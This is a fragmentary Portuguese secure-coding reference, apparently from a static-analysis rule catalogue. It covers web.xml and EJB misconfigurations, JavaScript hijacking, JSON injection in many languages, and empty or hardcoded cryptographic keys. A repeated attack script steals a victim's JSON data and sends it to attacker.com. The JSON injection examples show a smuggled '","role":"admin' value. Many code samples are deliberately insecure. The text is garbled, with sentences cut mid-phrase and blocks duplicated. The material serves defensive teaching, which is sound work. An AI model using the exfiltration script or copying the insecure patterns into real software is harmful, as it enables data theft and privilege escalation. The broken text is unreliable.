web.xml
é um erro. Cada Servlet deve ter um nome único (servlet-name
) e um mapeamento correspondente (servlet-mapping
).web.xml
mostra várias definições de servlet erradas.
<!-- No <servlet-name> specified: -->
<servlet>
<servlet-class>com.class.MyServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<!-- Empty <servlet-name> node: -->
<servlet>
<servlet-name/>
<servlet-class>com.class.MyServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<!-- Duplicate <servlet-name> nodes: -->
<servlet>
<servlet-name>MyServlet</servlet-name>
<servlet-name>Servlet</servlet-name>
<servlet-class>com.class.MyServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<login-config>
é usado para configurar como os usuários se autenticam em um aplicativo. A ausência de um método de autenticação significa que o aplicativo não sabe como aplicar restrições de autorização, pois ninguém pode fazer login. O método de autenticação é especificado usando a tag <auth-method>
que é “child-of” de <login-config>
.BASIC
, FORM
, DIGEST
e CLIENT_CERT
.BASIC
denota autenticação HTTP Basic.FORM
denota autenticação baseada em formulário.DIGEST
é como a autenticação BASIC; entretanto, em DIGEST a senha é criptografada.CLIENT_CERT
requer que os clientes tenham certificados de chave pública e usem SSL/TLS.
<web-app>
<!-- servlet declarations -->
<servlet>...</servlet>
<!-- servlet mappings-->
<servlet-mapping>...</servlet-mapping>
<!-- security-constraints-->
<security-constraint>...</security-constraint>
<!-- login-config goes here -->
<!-- security-roles -->
<security-role>...</security-role>
</web-app>
web.xml
são normalmente usadas para controle de acesso baseado em função, mas o elemento opcional user-data-constraint
especifica uma garantia de transporte que evita que o conteúdo seja transmitido de maneira insegura.<user-data-constraint>
, a tag <transport-guarantee>
define como a comunicação deve ser tratada. Existem três níveis de garantia de transporte:NONE
significa que o aplicativo não exige nenhuma garantia de transporte.INTEGRAL
significa que o aplicativo requer que os dados enviados entre o cliente e o servidor sejam enviados de forma que não possam ser alterados em trânsito.CONFIDENTIAL
significa que o aplicativo requer que os dados sejam transmitidos de uma maneira que evite que outras entidades observem o conteúdo da transmissão.INTEGRAL
ou CONFIDENTIAL
significa que é necessário SSL/TLS. Se as tags <user-data-constraint>
e <transport-guarantee>
são omitidas, o padrão de garantia de transporte é NONE
.
<security-constraint>
<web-resource-collection>
<web-resource-name>Storefront</web-resource-name>
<description>Allow Customers and Employees access to online store front</description>
<url-pattern>/store/shop/*</url-pattern>
</web-resource-collection>
<auth-constraint>
<description>Anyone</description>
<role-name>anyone</role-name>
</auth-constraint>
</security-constraint>
AuthenticationFilter
. Em razão da definição estar ausente, o filtro AuthenticationFilter
não será aplicado ao padrão de URL designado /secure/*
e pode causar uma exceção de tempo de execução.
<filter>
<description>Compresses images to 64x64</description>
<filter-name>ImageFilter</filter-name>
<filter-class>com.ImageFilter</filter-class>
</filter>
<!-- AuthenticationFilter is not defined -->
<filter-mapping>
<filter-name>AuthenticationFilter</filter-name>
<url-pattern>/secure/*</url-pattern>
</filter-mapping>
<filter-mapping>
<filter-name>ImageFilter</filter-name>
<servlet-name>ImageServlet</servlet-name>
</filter-mapping>
role-name
inexistente impede o acesso legítimo a todos os recursos que protege.security-role
ausente para um role-name
definido em um auth-constraint
pode indicar uma configuração desatualizada.role-name
, mas não o define em um security-role
.
<security-constraint>
<web-resource-collection>
<web-resource-name>AdminPage</web-resource-name>
<description>Admin only pages</description>
<url-pattern>/auth/noaccess/*</url-pattern>
</web-resource-collection>
<auth-constraint>
<description>Administrators only</description>
<role-name>admin</role-name>
</auth-constraint>
<user-data-constraint>
<transport-guarantee>INTEGRAL</transport-guarantee>
</user-data-constraint>
</security-constraint>
web.xml
não pode ser acessado sem um mapeamento de servlet correspondente.web.xml
define ExampleServlet
mas falha ao definir um mapeamento de servlet correspondente.
<web-app
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">
<servlet>
<servlet-name>ExampleServlet</servlet-name>
<servlet-class>com.class.ExampleServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
</web-app>
<ejb-jar>
<enterprise-beans>
<entity>
<ejb-name>EmployeeRecord</ejb-name>
<home>com.wombat.empl.EmployeeRecordHome</home>
<remote>com.wombat.empl.EmployeeRecord</remote>
...
</entity>
...
</enterprise-beans>
</ejb-jar>
ANYONE
.ANYONE
, isso indica que o controle de acesso para o aplicativo não foi totalmente pensado ou que o aplicativo está estruturado de tal forma que as restrições de controle de acesso razoáveis são impossíveis.ANYONE
permissão para invocar o método EJB do Employee
, denominado getSalary()
.
<ejb-jar>
...
<assembly-descriptor>
<method-permission>
<role-name>ANYONE</role-name>
<method>
<ejb-name>Employee</ejb-name>
<method-name>getSalary</method-name>
</method-permission>
</assembly-descriptor>
...
</ejb-jar>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script>
e que, portanto, é vulnerável a sequestros de JavaScript [1]. Por padrão, a estrutura utiliza o método POST para enviar solicitações, o que torna difícil gerar uma solicitação a partir de uma tag <script>
mal-intencionada (já que tags <script>
geram apenas solicitações GET). No entanto, o Microsoft AJAX.NET fornece mecanismos para usar solicitações GET. Na verdade, muitos especialistas incentivam os programadores a usarem solicitações GET a fim de aproveitar o armazenamento em cache do navegador e melhorar o desempenho.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
username
e password
para o arquivo JSON localizado em C:\user_info.json
:
...
StringBuilder sb = new StringBuilder();
StringWriter sw = new StringWriter(sb);
using (JsonWriter writer = new JsonTextWriter(sw))
{
writer.Formatting = Formatting.Indented;
writer.WriteStartObject();
writer.WritePropertyName("role");
writer.WriteRawValue("\"default\"");
writer.WritePropertyName("username");
writer.WriteRawValue("\"" + username + "\"");
writer.WritePropertyName("password");
writer.WriteRawValue("\"" + password + "\"");
writer.WriteEndObject();
}
File.WriteAllText(@"C:\user_info.json", sb.ToString());
JsonWriter.WriteRawValue()
, os dados não confiáveis em username
e password
não serão validados para o escape de caracteres especiais relacionados ao JSON. Isso permite que um usuário insira chaves JSON arbitrariamente, possivelmente mudando a estrutura do JSON serializado. Neste exemplo, se o usuário não privilegiado mallory
com a senha Evil123!
fosse acrescentar ","role":"admin
ao seu nome de usuário ao inseri-lo no prompt que define o valor da variável username
, o JSON salvo em C:\user_info.json
seria:
{
"role":"default",
"username":"mallory",
"role":"admin",
"password":"Evil123!"
}
Dictionary
com JsonConvert.DeserializeObject()
, da seguinte maneira:
String jsonString = File.ReadAllText(@"C:\user_info.json");
Dictionary<string, string> userInfo = JsonConvert.DeserializeObject<Dictionary<string, strin>>(jsonString);
username
, password
e role
no objeto Dictionary
seriam mallory
, Evil123!
e admin
, respectivamente. Sem a verificação adicional de que os valores JSON desserializados são válidos, o aplicativo atribuirá incorretamente os privilégios "admin" ao usuário mallory
.username
e password
para o arquivo JSON localizado em ~/user_info.json
:
...
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
username := r.FormValue("username")
password := r.FormValue("password")
...
jsonString := `{
"username":"` + username + `",
"role":"default"
"password":"` + password + `",
}`
...
f, err := os.Create("~/user_info.json")
defer f.Close()
jsonEncoder := json.NewEncoder(f)
jsonEncoder.Encode(jsonString)
}
username
e password
não serão validados para realizar escape de caracteres especiais relacionados a JSON. Isso permite que um usuário insira chaves JSON arbitrárias, podendo modificar a estrutura serializada JSON. Neste exemplo, se o usuário não privilegiado mallory
com a senha Evil123!
anexou ","role":"admin
quando ela inseriu seu nome de usuário, o JSON resultante salvo para ~/user_info.json
seria:
{
"username":"mallory",
"role":"default",
"password":"Evil123!",
"role":"admin"
}
mallory
.username
e password
para o arquivo JSON localizado em ~/user_info.json
:
...
JsonFactory jfactory = new JsonFactory();
JsonGenerator jGenerator = jfactory.createJsonGenerator(new File("~/user_info.json"), JsonEncoding.UTF8);
jGenerator.writeStartObject();
jGenerator.writeFieldName("username");
jGenerator.writeRawValue("\"" + username + "\"");
jGenerator.writeFieldName("password");
jGenerator.writeRawValue("\"" + password + "\"");
jGenerator.writeFieldName("role");
jGenerator.writeRawValue("\"default\"");
jGenerator.writeEndObject();
jGenerator.close();
JsonGenerator.writeRawValue()
, os dados não confiáveis em username
e password
não serão validados para o escape de caracteres especiais relacionados ao JSON. Isso permite que um usuário insira chaves JSON arbitrariamente, possivelmente mudando a estrutura do JSON serializado. Neste exemplo, se o usuário não privilegiado mallory
com a senha Evil123!
fosse acrescentar ","role":"admin
ao seu nome de usuário ao inseri-lo no prompt que define o valor da variável username
, o JSON salvo em ~/user_info.json
seria:
{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}
HashMap
com JsonParser
do Jackson, da seguinte maneira:
JsonParser jParser = jfactory.createJsonParser(new File("~/user_info.json"));
while (jParser.nextToken() != JsonToken.END_OBJECT) {
String fieldname = jParser.getCurrentName();
if ("username".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}
if ("password".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}
if ("role".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}
if (userInfo.size() == 3)
break;
}
jParser.close();
username
, password
e role
no objeto HashMap
seriam mallory
, Evil123!
e admin
, respectivamente. Sem a verificação adicional de que os valores JSON desserializados são válidos, o aplicativo atribuirá incorretamente os privilégios "admin" ao usuário mallory
.
var str = document.URL;
var url_check = str.indexOf('name=');
var name = null;
if (url_check > -1) {
name = decodeURIComponent(str.substring((url_check+5), str.length));
}
$(document).ready(function(){
if (name !== null){
var obj = jQuery.parseJSON('{"role": "user", "name" : "' + name + '"}');
...
}
...
});
name
não serão validados para escapar dos caracteres especiais relacionadas com o JSON. Isso permite que um usuário insira chaves JSON arbitrariamente, possivelmente mudando a estrutura do JSON serializado. Neste exemplo, se o usuário não privilegiado mallory
acrescentasse ","role":"admin
ao parâmetro nome na URL, o JSON se tornaria:
{
"role":"user",
"username":"mallory",
"role":"admin"
}
jQuery.parseJSON()
e definido como um objeto simples, o que significa que obj.role
retornaria agora "admin" em vez de "user"_usernameField
e _passwordField
:
...
NSString * const jsonString = [NSString stringWithFormat: @"{\"username\":\"%@\",\"password\":\"%@\",\"role\":\"default\"}" _usernameField.text, _passwordField.text];
NSString.stringWithFormat:
, os dados não confiáveis em _usernameField
e _passwordField
não serão validados para o escape de caracteres especiais relacionados ao JSON. Isso permite que um usuário insira chaves JSON arbitrariamente, possivelmente mudando a estrutura do JSON serializado. Nesse exemplo, se o usuário não privilegiado mallory
com a senha Evil123!
anexasse ","role":"admin
ao nome de usuário dele ao digitá-lo no campo _usernameField
, o JSON resultante seria:
{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}
NSDictionary
com NSJSONSerialization.JSONObjectWithData:
desta maneira:
NSError *error;
NSDictionary *jsonData = [NSJSONSerialization JSONObjectWithData:[jsonString dataUsingEncoding:NSUTF8StringEncoding] options:NSJSONReadingAllowFragments error:&error];
username
, password
, e role
no objeto NSDictionary
seriam mallory
, Evil123!
, e admin
respectivamente. Sem a verificação adicional de que os valores JSON desserializados são válidos, o aplicativo atribuirá incorretamente os privilégios "admin" ao usuário mallory
.
import json
import requests
from urllib.parse import urlparse
from urllib.parse import parse_qs
url = 'https://www.example.com/some_path?name=some_value'
parsed_url = urlparse(url)
untrusted_values = parse_qs(parsed_url.query)['name'][0]
with open('data.json', 'r') as json_File:
data = json.load(json_File)
data['name']= untrusted_values
with open('data.json', 'w') as json_File:
json.dump(data, json_File)
...
name
não serão validados para aplicar o escape de caracteres especiais relacionados a JSON. Isso permite que um usuário insira chaves JSON arbitrariamente, possivelmente alterando a estrutura do JSON serializado. Nesse exemplo, se o usuário não privilegiado mallory
anexasse ","role":"admin
ao parâmetro name na URL, o JSON se tornaria:
{
"role":"user",
"username":"mallory",
"role":"admin"
}
usernameField
e passwordField
:
...
let jsonString : String = "{\"username\":\"\(usernameField.text)\",\"password\":\"\(passwordField.text)\",\"role\":\"default\"}"
usernameField
e passwordField
não serão validados para realizar escape dos caracteres especiais relacionados a JSON. Isso permite que um usuário insira chaves JSON arbitrariamente, possivelmente mudando a estrutura do JSON serializado. Nesse exemplo, se o usuário não privilegiado mallory
com a senha Evil123!
anexasse ","role":"admin
ao nome de usuário dele ao digitá-lo no campo usernameField
, o JSON resultante seria:
{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}
NSDictionary
com NSJSONSerialization.JSONObjectWithData:
desta maneira:
var error: NSError?
var jsonData : NSDictionary = NSJSONSerialization.JSONObjectWithData(jsonString.dataUsingEncoding(NSUTF8StringEncoding), options: NSJSONReadingOptions.MutableContainers, error: &error) as NSDictionary
username
, password
, e role
no objeto NSDictionary
seriam mallory
, Evil123!
, e admin
respectivamente. Sem a verificação adicional de que os valores JSON desserializados são válidos, o aplicativo atribuirá incorretamente os privilégios "admin" ao usuário mallory
.
$userInput = getUserIn();
$document = getJSONDoc();
$part = simdjson_key_value($document, $userInput);
echo json_decode($part);
userInput
é controlável pelo usuário, um usuário mal-intencionado pode aproveitar isso para acessar quaisquer dados confidenciais no documento JSON.
def searchUserDetails(key:String) = Action.async { implicit request =>
val user_json = getUserDataFor(user)
val value = (user_json \ key).get.as[String]
...
}
key
pode ser controlada pelo usuário, um usuário mal-intencionado pode tirar proveito disso para acessar as senhas do usuário e todos os outros dados privados que possam estar contidos no documento JSON.
...
encryptionKey = "".
...
...
var encryptionKey:String = "";
var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
...
var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
...
...
char encryptionKey[] = "";
...
...
<cfset encryptionKey = "" />
<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
...
...
key := []byte("");
block, err := aes.NewCipher(key)
...
...
private static String encryptionKey = "";
byte[] keyBytes = encryptionKey.getBytes();
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...
...
var crypto = require('crypto');
var encryptionKey = "";
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...
...
CCCrypt(kCCEncrypt,
kCCAlgorithmAES,
kCCOptionPKCS7Padding,
"",
0,
iv,
plaintext,
sizeof(plaintext),
ciphertext,
sizeof(ciphertext),
&numBytesEncrypted);
...
...
$encryption_key = '';
$filter = new Zend_Filter_Encrypt($encryption_key);
$filter->setVector('myIV');
$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...
...
from Crypto.Ciphers import AES
cipher = AES.new("", AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...
require 'openssl'
...
dk = OpenSSL::PKCS5::pbkdf2_hmac_sha1(password, salt, 100000, 0) # returns an empty string
...
...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"",
0,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...
...
Dim encryptionKey As String
Set encryptionKey = ""
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...
...
DATA: lo_hmac TYPE Ref To cl_abap_hmac,
Input_string type string.
CALL METHOD cl_abap_hmac=>get_instance
EXPORTING
if_algorithm = 'SHA3'
if_key = space
RECEIVING
ro_object = lo_hmac.
" update HMAC with input
lo_hmac->update( if_data = input_string ).
" finalise hmac
lo_digest->final( ).
...
Example 1
pode ser executado com êxito, mas qualquer usuário que tiver acesso a ele será capaz de descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, provavelmente não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC. Além disso, o código no Example 1
é vulnerável a ataques de falsificação e recuperação de chave.
...
using (HMAC hmac = HMAC.Create("HMACSHA512"))
{
string hmacKey = "";
byte[] keyBytes = Encoding.ASCII.GetBytes(hmacKey);
hmac.Key = keyBytes;
...
}
...
Example 1
pode ser executado com êxito, mas qualquer usuário que tiver acesso a ele será capaz de descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, provavelmente não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC. Além disso, o código no Example 1
é vulnerável a ataques de falsificação e recuperação de chave.
import "crypto/hmac"
...
hmac.New(md5.New, []byte(""))
...
Example 1
pode ser executado com êxito, mas qualquer usuário que tiver acesso a ele pode descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC. Além disso, o código no Example 1
é vulnerável a ataques de falsificação e recuperação de chave.
...
private static String hmacKey = "";
byte[] keyBytes = hmacKey.getBytes();
...
SecretKeySpec key = new SecretKeySpec(keyBytes, "SHA1");
Mac hmac = Mac.getInstance("HmacSHA1");
hmac.init(key);
...
Example 1
pode ser executado com êxito, mas qualquer usuário que tiver acesso a ele será capaz de descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, provavelmente não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC. Além disso, o código no Example 1
é vulnerável a ataques de falsificação e recuperação de chave.
...
let hmacKey = "";
let hmac = crypto.createHmac("SHA256", hmacKey);
hmac.update(data);
...
Exemplo 1
pode ser executado com êxito, mas qualquer usuário com acesso a ele poderá descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, provavelmente não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC.
...
CCHmac(kCCHmacAlgSHA256, "", 0, plaintext, plaintextLen, &output);
...
Example 1
pode ser executado com êxito, mas qualquer usuário que tiver acesso a ele será capaz de descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, provavelmente não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC. Além disso, o código no Example 1
é vulnerável a ataques de falsificação e recuperação de chave.
import hmac
...
mac = hmac.new("", plaintext).hexdigest()
...
Example 1
pode ser executado com êxito, mas qualquer usuário que tiver acesso a ele será capaz de descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, provavelmente não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC. Além disso, o código no Example 1
é vulnerável a ataques de falsificação e recuperação de chave.
...
digest = OpenSSL::HMAC.digest('sha256', '', data)
...
Example 1
pode ser executado com êxito, mas qualquer usuário que tiver acesso a ele será capaz de descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, provavelmente não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC. Além disso, o código no Example 1
é vulnerável a ataques de falsificação e recuperação de chave.
...
CCHmac(UInt32(kCCHmacAlgSHA256), "", 0, plaintext, plaintextLen, &output)
...
Example 1
pode ser executado com êxito, mas qualquer usuário que tiver acesso a ele será capaz de descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, provavelmente não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC. Além disso, o código no Example 1
é vulnerável a ataques de falsificação e recuperação de chave.
...
Rfc2898DeriveBytes rdb = new Rfc2898DeriveBytes("", salt,100000);
...
...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword("");
...
const pbkdfPassword = "";
crypto.pbkdf2(
pbkdfPassword,
salt,
numIterations,
keyLen,
hashAlg,
function (err, derivedKey) { ... }
)
...
CCKeyDerivationPBKDF(kCCPBKDF2,
"",
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
...
CCKeyDerivationPBKDF(kCCPBKDF2,
password,
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
password
contenha um valor de senha forte e gerenciado de maneira adequada, passar o tamanho como zero resultará em um valor vazio, null
, ou em um valor de senha inesperadamente fraco.
...
$zip = new ZipArchive();
$zip->open("test.zip", ZipArchive::CREATE);
$zip->setEncryptionIndex(0, ZipArchive::EM_AES_256, "");
...
from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', '', salt, 100000)
...
...
key = OpenSSL::PKCS5::pbkdf2_hmac('', salt, 100000, 256, 'SHA256')
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
"",
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
password,
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
password
contenha um valor de senha forte e gerenciado de maneira adequada, passar o tamanho como zero resultará em um valor vazio, null
, ou em um valor de senha inesperadamente fraco.
...
encryptionKey = "lakdsljkalkjlksdfkl".
...
...
var encryptionKey:String = "lakdsljkalkjlksdfkl";
